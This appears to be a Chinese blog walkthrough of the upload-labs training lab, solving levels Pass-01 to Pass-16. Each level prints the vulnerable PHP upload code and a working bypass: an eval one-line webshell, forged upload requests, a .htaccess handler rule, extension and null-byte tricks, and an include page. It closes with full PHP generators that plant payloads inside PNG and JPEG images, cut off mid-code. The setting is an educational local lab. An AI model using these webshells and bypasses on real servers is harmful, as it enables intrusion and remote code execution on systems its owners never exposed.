uploads-lab之旅

2023/03/12 20:30:57

准备材料:

uploads-lab的搭建

uploads-lab下载为zip文件,并解压在phpstudy下的www文件夹内,注意将文件夹重命名为uploads-lab。
解压成功后访问 http://127.0.0.1/upload-labs 打开即可(PS:部分人burpsuite可能使用本机地址无法抓包,建议127.0.0.1修改为本机地址!)
image.png

Pass-01

任务:上传一个webshell到服务器。
首先先尝试直接传一个一句话木马webshell.php

<?php
  eval(_POST[1]);
?>

上传失败,提示:该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php
查看源码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

f12查看源代码,发现把函数放在了前端
image.png

方法一 禁用js

直接浏览器禁用js
image.png
上传成功,用antsword测试连接,成功
b4797b0734fbfd3618d946ec7938912.png

方法二

修改文件后缀名为webshell.png上传,打开burpsuite抓包:
image.png
将filename参数修改文件后缀.php
用antsword测试连接,成功

方法三(重要)

右键页面-查看网站源代码-全部复制下来-保存为html后缀文件,找到文件中的js代码,删除。删除代码:

function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

这时我们运行这个HTML文件,UI仍然会显示,但是由于我们已经删除了js函数,所以我们不知道要将文件传到哪里。
我们回到原网页,右键页面-检查-网络,上传文件,看到上传的图片的请求网址。(这一步用burpsuite也可以)
7c0ae6a5a632a3866408524ad8e7a72.png
知道请求网址了就可以给html文件添加action了,action是告诉他这个图片提交给谁,因为这个源代码中没有,我们就自己加一个。
7c0ae6a5a632a3866408524ad8e7a72.png
添加好之后重新运行html文件,再上传webshell.php文件,直接就可以上传成功。

Pass-02

要求:上传一个webshell到服务器。

$is_upload = false;
$msg = null;
//判断是否上传submit参数
if (isset($_POST['submit'])) {
    //检查文件或目录是否存在
    if (file_exists($UPLOAD_ADDR)) {
        //允许传输 .jpg/.png/.gif 后缀文件
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            //将上传的文件移动到新位置
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

解法

这一关是常见验证中的文件类型验证,也就是验证MIME信息,将webshell.php改为webshell.png,并上传,在burp抓包处修改文件名为webshell.php,即可上传成功,antsword连接测试成功。
image.png


------WebKitFormBoundary09G9BBRK49OTlzSH
Content-Disposition: form-data; name="upload_file"; filename="webshell.png"//将这里修改为webshell.php
Content-Type: image/png

<?php
 @eval($_POST[1]);
?>

或者直接上传webshell.php文件,因为检测的是Content-Type参数,所以直接将其修改为image/jpegimage/pngimage/gif三种之一即可。

Pass-03

$is_upload = false;
$msg = null;
//定义submit参数
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

这次是屏蔽了所有的.asp.aspx.php.jsp文件,但是黑名单定义不完全是可以绕过的可以用.phtml.phps.php5.pht进行绕过。比如将文件名改为webshell.php5上传。
但是要想上传后能执行,要在自己的apachehttpd.conf文件写入,在D:\你安装的位置\phpstudy_pro\Extensions\Apache2.4.39\conf里写入:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
这样就成功传输和使用了。

注意

如果这样还是不行的话,就是php版本的问题,需要将Nts版本换为ts版本:https://www.cnblogs.com/Article-kelp/p/14927087.html

Pass-04

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

这下禁止上传的文件类型有很多种,我们可以尝试传一个.htaccess文件来把.png文件解析为.php类型

<FilesMatch "webshell.png">
SetHandler application/x-httpd-php
</FilesMatch>

Pass-05

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

相比与第四关,第五关少了转换为小写的这一步骤,因此可以尝试修改为.Php后缀上传,连接成功。

Pass-06

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

这次的代码和之前相比少了首尾去空,因此可以尝试在末尾加上空格,但是我们在本地是无法在末尾添加上空格的,所以需要在burpsuite抓包中修改上传的文件
e4d6f42cc4fc3bf888b6ceb79f1001e.png
这样就可以上传成功。

Pass-07

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

这次缺少了删除文件末尾的点,因此可以在文件末尾添加点来绕过,还是直接在bp中修改文件名并上传即可。

Pass-08

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

这次缺少了对字符串::$DATA的检测,因此使用bp在文件末尾添加对应字符,连接成功。
查询之后发现:在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:”phpinfo.php::$DATA“Windows会自动去掉末尾的::$DATA变成”phpinfo.php

Pass-09

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

这次发现把前面能用的几种方法全部堵死了。但是可以发现:php文件会先删除.,再删除空格。所以可以修改后缀为webshell.php. .来绕过,经过处理之后变成webshell.php.,这样就可以上传了。

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

解法

这次会对违规的部分直接移除,导致上传的php后缀文件后缀缺失。这种情况下,这种移除的情况都可以使用双写绕过,即修改为webshell.pphphp上传,这样上传后的文件后缀就会修改为正常的.php,可以正常连接。

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

解法

这次是使用白名单过滤,而且

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

所以可以使用%00的截断绕过,即:
先上传webshell.jpg然后使用bp抓包,将save_path参数修改为以下即可上传:
image.png

注意

php版本要小于5.3.4 修改php.inimagic_quotes_gpc为OFF状态

Pass-12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

解法

与上一关相比,这次的save_path参数是在POST内的,但是在POST中加%00参数不行,因为会被解析为字符串,但肯定还是使用00来截断,因此这道题需要修改hex
先上传webshell.jpg文件,修改保存路径,并在末尾添加一个字符a
image.png
然后打开Burpsuite的Hex模式,找到对应a字符的hex值修改为00
image.png
也可以raw模式下选中a修改hex为00
image.png

Pass-13

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

解法

getReailFileType()函数获取文件的最开始两个字节,来判断文件类型,因此可以使用图片文件欺骗来进行攻击。不同类型文件文件头标准编码是不同的:

JPEG (jpg),文件头:FF D8 FF
PNG (png),文件头:89 50 4E 47     【参考:png文件头详解】89 50 4e 47 0d 0a 1a 0a
GIF (gif),文件头:47 49 46 38 //常用47 49 46 38 39 61 标识GIF89a
Windows Bitmap (bmp),文件头:42 4D [参考:bmp文件格式详解]42 4D 36 0C 30 00 00 00 00 00 36 00 00 00 28 00 00 00 56 05 00 00 00 03 00 00 01 00 18 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
python反编译文件pyc的头:03 F3 0D 0A  (实验吧,py的交易会用到)
pyd的文件头:4D 5A 90 00
ZIP Archive (zip),文件头:50 4B 03 04 ascii码部分是PK,可以直接根据PK判断是zip文件,也有可能是doc文件
rar文件: 52 61 72 21
7z文件头:37 7A BC AF 27 1C(实验吧,有趣的文件用到了)
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

因此,可以在文件前添加GIF89a来迷惑文件检测
image.png
添加之后上传,上传成功,但是这时候文件后缀是.gif格式,这道题要求的是上传图片马,因此到这里即可,我们可以测试一下是否可以使用。

测试

我们在本地创建一个include.php文件

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

然后保存到upload-labs的目录下即可(与upload文件夹同级),保存之后,用antsword连接
http://你的ip/upload-labs/include.php?file=upload/文件名称,如果可以连接则说明图片马上传成功。(注意,这道题上传的图片马会改名字,修改的名字在response传回时会显示)
image.png

Pass-14

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

解法

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
但是也可以使用修改文件头标准编码绕过,所以用和Pass-13相同步骤即可绕过。

Pass-15

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

解法

$image_type = exif_imagetype($filename);
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
可以使用和前两题相同的操作来绕过。

注意

如果想要调用exif_imagetype()这个函数需要系统配置文件开启php_exif模块,即php-ini文件中搜索php_exif将行前的分号删除(分号在这个文件中是注释的含义)。

Pass-16

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

方法一

这道题使用的是图片二次渲染:$im = imagecreatefromjpeg($target_path);该函数接受单个参数$filename,该参数保存图像的名称。返回值:成功时此函数返回图像资源标识符,错误时返回FALSE
首先先上传一个基础图片,上传之后得到的图片下载下来(拖出来),然后准备一个一句话木马文件制
作图片马:

copy  two-pass_rendering.jpg /b + webshell.php /a  muma.jpg

其中/b代表二进制文件binary,放在图片后面,/a代表文字文件ascii
62eaa9b1448ffa349f6023a08923ab5.png
生成之后上传,测试连接,但是发现无法连接,把图片用文本形式打开后发现php语句格式前面有缺失(缺少了<),所以在webshell文件前面随便加上一点字符。
image.png
image.png
重新合成,发现这次格式不缺失了,但是这样传上去之后还是不行,查阅资料发现,.jpg文件和.gif不同,前者渲染的方式和后者渲染的方式不同,因此选择gif文件的操作难度更低。
相同步骤重新操作gif文件,合成之后上传,连接发现成功。

方法二

先上传一个png图片,得到二次渲染后的图片,用010编辑器打开,对比两个文件二进制编码:
image.png
红色的是不同的,白色的是相同的,因此可以将一句话木马写在白色位置:
image.png
然后上传连接

方法三(尝试)

可以上传一png结尾的 jpg图片

png jpg 图片马制作

如果想使用.png文件可以使用以下代码生成图片:(这个代码好像在php8版本会报错)

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

生成之后得到的一句话木马为:

<?=$_GET[0]($_POST[1]);?>

可以如下使用:
image.png
如果想使用jpg文件使用以下代码:(但是由于jpg文件容易损坏,因此可能需要多次生成)

<?php
    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
